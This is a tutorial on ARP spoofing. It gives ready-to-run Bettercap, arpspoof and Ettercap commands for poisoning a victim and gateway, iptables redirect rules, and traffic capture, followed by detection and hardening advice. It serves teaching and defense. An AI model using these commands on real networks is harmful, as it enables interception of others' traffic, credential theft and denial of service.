M.I.T.M – ARP SPOOFING

What is ARP?

ARP (Address Resolution Protocol) is the mechanism that maps a Layer 3 IP address to a Layer 2 MAC address inside a local network segment. Whenever a host needs to talk to another host on the same subnet, it must first learn the destination's hardware (MAC) address.

Say HOST A (192.168.1.115) wants to reach HOST B (192.168.1.102). HOST A broadcasts an ARP request to the whole segment asking "who has 192.168.1.102?", and HOST B answers with an ARP reply containing its MAC address:

Request  (broadcast): Who has 192.168.1.102? Tell 192.168.1.115
Reply    (unicast):   192.168.1.102 is at yy:yy:yy:yy:yy:yy

HOST A caches that IP-to-MAC pair in its ARP table and sends the data directly. The core weakness is that ARP is stateless and unauthenticated: a host accepts ARP replies even if it never sent a request, and it will happily overwrite an existing entry. That single design decision is what makes ARP spoofing possible.

Inspect your own ARP cache at any time:

ip neigh show          # modern Linux
arp -a                 # classic, cross-platform

What is ARP spoofing (ARP poisoning)?

ARP spoofing is identity theft at Layer 2. The attacker sends forged ARP replies to poison the ARP tables of two hosts so that each one associates the other's IP with the attacker's MAC. Traffic that should flow directly between them is then redirected through the attacker, who sits in the middle and can read, modify or drop it.

Lab scenario

All examples below assume an isolated lab you control:

Gateway / Router : 192.168.1.1
Victim           : 192.168.1.125
Attacker (you)   : 192.168.1.100   interface: eth0

The goal is to poison both the router and the victim so all of the victim's traffic transits the attacker. To relay (and not just black-hole) that traffic, the attacker must enable IP forwarding first.

Step 1 — Enable IP forwarding

Without forwarding, the victim loses connectivity and the attack is trivially noticed. Turn it on so packets keep reaching the gateway:

sudo sysctl -w net.ipv4.ip_forward=1
# verify
cat /proc/sys/net/ipv4/ip_forward   # should print 1

Step 2 — The attack with Bettercap (recommended)

Bettercap is the modern, actively maintained successor to the classic tools. It handles the ARP spoofing, forwarding and sniffing for you:

sudo apt-get install bettercap
sudo bettercap -iface eth0

# inside the interactive session:
set arp.spoof.targets 192.168.1.125
set arp.spoof.fullduplex true   # poison victim AND gateway
arp.spoof on
net.sniff on

arp.spoof on starts poisoning; net.sniff on prints the intercepted traffic. Stop cleanly with arp.spoof off so Bettercap re-arps the victim with the correct MACs and restores the network.

Step 3 — The classic tools (Ettercap / dsniff)

The original approach still works and is worth knowing. With arpspoof from the dsniff suite you poison both directions in two terminals:

# terminal 1: tell the victim we are the router
sudo arpspoof -i eth0 -t 192.168.1.125 192.168.1.1
# terminal 2: tell the router we are the victim
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.125

With Ettercap the same full-duplex MITM is a one-liner:

sudo apt-get install ettercap-graphical
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.125// /192.168.1.1//

If you want Ettercap to transparently redirect intercepted ports (for SSL stripping style setups), uncomment the redirect rules in /etc/etter.conf:

redir_command_on  = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Step 4 — Verify the interception

On the victim, the router's ARP entry now shows the attacker's MAC:

ip neigh show 192.168.1.1
# 192.168.1.1 dev eth0 lladdr <attacker-mac> REACHABLE   <-- poisoned

On the attacker you can watch the relayed traffic with tcpdump or Wireshark:

sudo tcpdump -i eth0 host 192.168.1.125 -w capture.pcap

Reality check: the modern web is encrypted. HTTPS, HSTS, certificate pinning and TLS 1.3 mean an on-path attacker sees ciphertext, not credentials. ARP spoofing still enables traffic analysis, denial of service and attacks against unencrypted or misconfigured services, which is exactly why it matters for defenders.

Detection and defense

• Dynamic ARP Inspection (DAI) on managed switches, paired with DHCP snooping, drops forged ARP replies at the port level.
• Static ARP entries for critical hosts (the gateway) prevent their cache from being overwritten.
• Monitor for anomalies with arpwatch or an IDS such as Suricata/Zeek, which alert when a MAC-to-IP binding suddenly changes.
• Port security / 802.1X limits which devices can even join the segment.
• Encrypt everything: enforce HTTPS/HSTS, use a VPN on untrusted networks, and never rely on the local network being trustworthy.

A quick way to spot an ongoing attack is duplicate MACs in your neighbour table:

ip neigh show | awk '{print $5}' | sort | uniq -d
# any MAC listed here is bound to more than one IP -> likely poisoning

Conclusion

ARP spoofing is old, but it remains a textbook demonstration of why Layer 2 is inherently trust-based. Understanding how the poisoning works — and how easily Bettercap or Ettercap automate it — is the fastest route to deploying the right defenses: DAI, DHCP snooping, ARP monitoring and end-to-end encryption. Always test in your own lab, restore the ARP tables when you finish, and use this knowledge to harden networks, not to break them.